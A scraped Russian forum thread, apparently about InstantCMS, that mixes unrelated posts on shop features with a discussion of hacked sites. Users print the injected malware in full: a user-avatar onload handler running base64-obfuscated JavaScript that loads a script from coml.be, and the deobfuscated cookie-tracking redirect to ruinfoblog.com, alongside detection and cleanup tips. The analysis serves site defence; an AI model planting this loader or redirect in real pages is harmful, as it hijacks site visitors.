Вам срочно нужно спарсить/запостить кучу фото с описанием или нужен инструмент для постоянного парсинга?Желательно побыстрее.
Sonat
+175
Репутация
362
Рейтинг
Просто народ боится что R2, собрав список того что ему надо делать и как продавать,Вам мешают сообщения?
забьется в угол и не выйдет на связь еще очень долго
что значит "по-умолчанию"?если по-умолчанию не стоит не один контент
Если я правильно понял то хук вызывается перед просмотром страницы контента.
Ему передается массив с полями этого контента
Ни на какие другие страницы вы повлиять этим хуком не можете.
Или я что-то не так понял?..
Jestik, возможно и опенкарта, но как по мне — это необходимый функционал любому современному движку магазина.
Ну если говорить о навороченном функционале то я бы предложил-
Модуль статистики ведущий учет продаж, людей, (в день / неделя / месяц / год / всего)
Статистика по посетителям: сколько было посетителей, покупателей, продаж, повторных продаж,
Статистика по продажам: кол-во продаж, сумма
Статистика по товарам: позволит понять самые продаваемые товары, категории
Вычисление из этих показателей по заданным админом формулам:
средний чек, прибыль при заданной марже, и тп
Ну если говорить о навороченном функционале то я бы предложил-
Модуль статистики ведущий учет продаж, людей, (в день / неделя / месяц / год / всего)
Статистика по посетителям: сколько было посетителей, покупателей, продаж, повторных продаж,
Статистика по продажам: кол-во продаж, сумма
Статистика по товарам: позволит понять самые продаваемые товары, категории
Вычисление из этих показателей по заданным админом формулам:
средний чек, прибыль при заданной марже, и тп
Да как бы у меня речь не про супер навороченные идеи, а про необходимый минимумИдеи всякие нужны, идеи всякие важны. Не стесняйтесь и не сдерживайтесь в идеях

Статусы заказа должны быть настраиваемые
большинству много разных статусов не нужно, многие обойдутся 2-3 стандартных "принят/оплачен/выполнен",
если вывалить то что предложено сейчас это будет только мешать
остальные статусы должны добавляться и обзываться из админки так как продавцу будет удобнее для его бизнес процесса
При добавление товара продавцом нужна возможность скопировать/сдублировать товар ,
Полезно при заполнении магазина схожими товарами,
чтобы не копировать ручками текст, описания, поля и пр, одного товар в буфер и вставлять в новом.
т.е. это просто кнопка "скопировать товар", нажав на которую в магазине появляется такоже товар
с разницей в ID и выключенным статусом отображения на сайте
Возможность вручную указать товары для кросс-сейла
сейчас у многих это просто модуль похожие товары/рекомендуем,
который рандомно или по тегам пихает все что ни попадя,
зачастую не имеющего ничего общего с товаром на карточке.
если товар закончился или выключен, карточка товара не выдает 404 ошибку,
а просто кнопка купить заменяется на надпись "товар временно отсутствует" — текст настраивается в админке
В категории для выключенных опционально на выбор:
товар не показывается вообще, показывается с пометкой, показывается после всех под заголовком отсутстуют
при учете товаров если товар заканчивается кол-во товара приближается к 0 (число настраиваемое)
— уведомляется продавец, появляется маркер на карточке товара что товар заканчивается — опционально
Печать накладной,
накладная состоит из шапки магазина, таблица с перечнем заказанных товаров, кол-во, цена, стоимость,
скидка, итоговая цена, информация покупателя
Разновидности товара
Один и тот же артикул может иметь разновидности (по размеру, цвету, комплектации и т.п.)
у разновидностей может быть своя цена, свои фото, свое кол-во на складе.
При поиске, и заказе выдаются поля тех разновидностей которые покупатель искал/заказал
т.е. если человек ищет в фильтре рубашку 52 размера он видит цену 52 размера
а не самую малую с размерного ряда,
если в фильтре выбран чехол золотистый фото показывается именно помеченное для золотистого
а не одно для всех расцветок; и это же фото висит в корзине
Пометки покупателей
Продавец может писать комментарии/заметки про покупателя видные только имеющим доступ в админку этого магазина
там можно отмечать лояльность покупателя, требовательность, кредит доверия или другие особенности покупателя.
Например: "вынес мозг покупая 2 пуговицы", или просто "мудак", "сын тёти Гали", "затягивает с оплатой", "12.10 не положили товар, вопрос решен в телефонном режиме. Доложить артикул 346 при следующей покупке, запись удалить!"
Loadырь, тут речь исключительно про мультимагазин ака торговая площадка?
Обычный магазин и необходимый ему функционал уже не обсуждается?
Обычный магазин и необходимый ему функционал уже не обсуждается?
Jestik, Не знаю, почта же крыта у всех, сайты не мои, доступа в админку нет.
Fuze, Спасибо! 
Рекомендуется ли всем обновиться?

Рекомендуется ли всем обновиться?
так может он сам ломаный…Надо как-то наказать говносайт
или думаете чел под это дело регал домен и оплачивал хостинг?

Не, он давно от инстана "отвалился" — двойку в глаза не видела твой знакомый спец не хочет подумать как это получилось?)
Не понял вопрос.А взлом не рассматривали?
Ну, да, это взлом, через уязвимость какого-то компонента или движка (что маловероятно).Разные сайты на разных хостингах — объединяет их то что они на instantcmsКакой хостинг сразу пишите, может это у кого до уязвимость
Уже насчитал больше 5 зараженных сайтов
Вирус делает перенаправление на левый сайт людей пришедших к вам из поисковиков
История с первым обнаружением и чем опасен вирус для самого сайта
тут — instantcms.ru/forum/thread28582-1.html
Подробности работы вируса:
К аватарке юзера прицеплен код
Имя может быть любым
Который добавляет в тело подгрузку еще одного скрипта с адреса coml.be
Скрипт coml.be проверяет/ставит свои куки, смотрит с поисковика ли и делает редирект на левый сайт
если есть r5877 значит вирус есть
ищите аватарку женщины на черном фоне, и удалите юзера.
Вирус делает перенаправление на левый сайт людей пришедших к вам из поисковиков
История с первым обнаружением и чем опасен вирус для самого сайта
тут — instantcms.ru/forum/thread28582-1.html
Подробности работы вируса:
К аватарке юзера прицеплен код
<img src="/upload/003/u364/a3/03/dfb0d8e4.jpg" onload="eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vY29tbC5iZS9pYyI7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXS5hcHBlbmRDaGlsZChuKTs='))" width="32" height="32" alt="Елена Кучукова" title="Елена Кучукова" /> </a>
Который добавляет в тело подгрузку еще одного скрипта с адреса coml.be
var n=document.createElement("script"); n.src="//coml.be/ic"; document.getElementsByTagName("body")[0].appendChild(n);
Скрипт coml.be проверяет/ставит свои куки, смотрит с поисковика ли и делает редирект на левый сайт
var rref5877=document.referrer, rt5877=GetCookie5877('r5877'), ExpDate=new Date();if(parent.window.opener && (rref5877.indexOf('google')+1 || rref5877.indexOf('nova.rambler')+1)){if(rt5877==null){parent.window.opener.location.replace("http://ruinfoblog.com/out/?eUwaYQNoJENT");}} else if(rref5877.indexOf('google')+1 || rref5877.indexOf('yandex')+1 || rref5877.indexOf('go.mail')+1 || rref5877.indexOf('nova.rambler')+1){if(rt5877==null){document.onclick = function(){window.open('http://ruinfoblog.com/out/?eUwaYQNoJENT');document.onclick = null;};}} rref5877=unescape(rref5877);ExpDate.setTime(ExpDate.getTime()+(24*60*60*1000*30));SetCookie5877('r5877', '1', ExpDate, "/");function GetCookie5877Val(offset){var endstr=document.cookie.indexOf(";", offset);if(endstr==-1)endstr=document.cookie.length;return unescape(document.cookie.substring(offset, endstr));}function GetCookie5877(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i<clen){var j=i+alen;if(document.cookie.substring(i, j)==arg) return GetCookie5877Val(j);i=document.cookie.indexOf(" ", i)+1;if(i == 0) break;}return null;}function SetCookie5877(name, value){var argv=SetCookie5877.arguments;var argc=SetCookie5877.arguments.length;var expires=(argc>2)?argv[2]:null;var path=(argc>3)?argv[3]:null;var domain=(argc>4)?argv[4]:null;var secure=(argc>5)?argv[5]:false;document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"");}
Проверьте свои сайты!
Как проверить?
Зайдите на свой сайт и посмотрите кукиесли есть r5877 значит вирус есть
Как быстро удалить?
Посмотрите юзеров зарегистрировавшихся за последние 2-3 неделиищите аватарку женщины на черном фоне, и удалите юзера.
Вы видели эту женщину?
Полечиться можно вот таким запросом, выполнив его в phpmyadmin
UPDATE `cms_users` SET `avatar`= NULL WHERE `avatar` LIKE '%onload%'
Как обезопасить себя?
Читать внимательно пост Fuze — instantcms.ru/forum/thread28589-1.html#276383
Показал знакомому спецу "интересную проблемку" 
Значит так расписываю подробно:
К аватарке юзера прицеплен код
Который добавляет в тело подгрузку еще одного скрипта с адреса coml.be
Скрипт coml.be проверяет/ставит свои куки, смотрит с поисковика ли и делает редирект на левый сайт
Удалите юзера "Елена Кучукова" и редиректа не будет
а уже потом можно будет спокойно подумать как злоумышленник смог вставить код…

Значит так расписываю подробно:
К аватарке юзера прицеплен код
<a href="/users/364" title="Елена Кучукова"> <img src="/upload/003/u364/a3/03/dfb0d8e4.jpg" onload="eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vY29tbC5iZS9pYyI7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXS5hcHBlbmRDaGlsZChuKTs='))" width="32" height="32" alt="Елена Кучукова" title="Елена Кучукова" /> </a>
Который добавляет в тело подгрузку еще одного скрипта с адреса coml.be
var n=document.createElement("script"); n.src="//coml.be/ic"; document.getElementsByTagName("body")[0].appendChild(n);
Скрипт coml.be проверяет/ставит свои куки, смотрит с поисковика ли и делает редирект на левый сайт
var rref5877=document.referrer, rt5877=GetCookie5877('r5877'), ExpDate=new Date();if(parent.window.opener && (rref5877.indexOf('google')+1 || rref5877.indexOf('nova.rambler')+1)){if(rt5877==null){parent.window.opener.location.replace("http://ruinfoblog.com/out/?eUwaYQNoJENT");}} else if(rref5877.indexOf('google')+1 || rref5877.indexOf('yandex')+1 || rref5877.indexOf('go.mail')+1 || rref5877.indexOf('nova.rambler')+1){if(rt5877==null){document.onclick = function(){window.open('http://ruinfoblog.com/out/?eUwaYQNoJENT');document.onclick = null;};}} rref5877=unescape(rref5877);ExpDate.setTime(ExpDate.getTime()+(24*60*60*1000*30));SetCookie5877('r5877', '1', ExpDate, "/");function GetCookie5877Val(offset){var endstr=document.cookie.indexOf(";", offset);if(endstr==-1)endstr=document.cookie.length;return unescape(document.cookie.substring(offset, endstr));}function GetCookie5877(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i<clen){var j=i+alen;if(document.cookie.substring(i, j)==arg) return GetCookie5877Val(j);i=document.cookie.indexOf(" ", i)+1;if(i == 0) break;}return null;}function SetCookie5877(name, value){var argv=SetCookie5877.arguments;var argc=SetCookie5877.arguments.length;var expires=(argc>2)?argv[2]:null;var path=(argc>3)?argv[3]:null;var domain=(argc>4)?argv[4]:null;var secure=(argc>5)?argv[5]:false;document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"");}
Удалите юзера "Елена Кучукова" и редиректа не будет
а уже потом можно будет спокойно подумать как злоумышленник смог вставить код…
Нашел! 
Этот гад подгружается скриптом с coml.be (перед закрывающим body)
проверяет referrer и если с поисковика то перекидывает на свой руинфоблог
но не всех, а только тех кто давно не заходил на сайт —
ставит свои куки и потом их проверяет что бы часто не палиться

Этот гад подгружается скриптом с coml.be (перед закрывающим body)
проверяет referrer и если с поисковика то перекидывает на свой руинфоблог
но не всех, а только тех кто давно не заходил на сайт —
ставит свои куки и потом их проверяет что бы часто не палиться
WinMerge. Есть какое-нибудь средство автоматизации для этого, чтобы не вручную?